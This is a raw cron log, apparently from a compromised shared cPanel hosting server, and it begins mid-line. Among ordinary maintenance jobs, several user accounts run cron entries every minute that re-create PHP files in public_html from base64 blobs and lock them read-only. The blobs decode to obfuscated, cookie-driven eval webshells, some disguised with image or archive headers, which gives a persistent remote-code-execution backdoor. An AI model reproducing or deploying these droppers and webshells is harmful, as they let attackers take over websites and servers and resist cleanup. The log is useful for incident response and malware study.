CAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:05:01 medusa CROND[11836]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:05:01 medusa CROND[11833]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 13:05:01 medusa CROND[11837]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:05:01 medusa CROND[11839]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:05:01 medusa CROND[11838]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:05:01 medusa CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:05:01 medusa CROND[11844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 13:06:01 medusa CROND[4140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:06:01 medusa CROND[4210]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:06:01 medusa CROND[4211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:06:01 medusa CROND[4212]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:06:01 medusa CROND[4214]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:06:01 medusa CROND[4215]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:06:01 medusa CROND[4216]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:06:01 medusa CROND[4225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:06:01 medusa CROND[4228]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:06:01 medusa CROND[4230]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:06:01 medusa CROND[4231]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:06:01 medusa CROND[4232]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:06:01 medusa CROND[4233]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:06:01 medusa CROND[4235]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:06:01 medusa CROND[4236]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:07:02 medusa CROND[29550]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:07:02 medusa CROND[29551]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:07:02 medusa CROND[29552]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:07:02 medusa CROND[29553]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:07:02 medusa CROND[29554]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:07:02 medusa CROND[29555]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:07:02 medusa CROND[29557]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:07:02 medusa CROND[29556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:07:02 medusa CROND[29564]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:07:02 medusa CROND[29558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
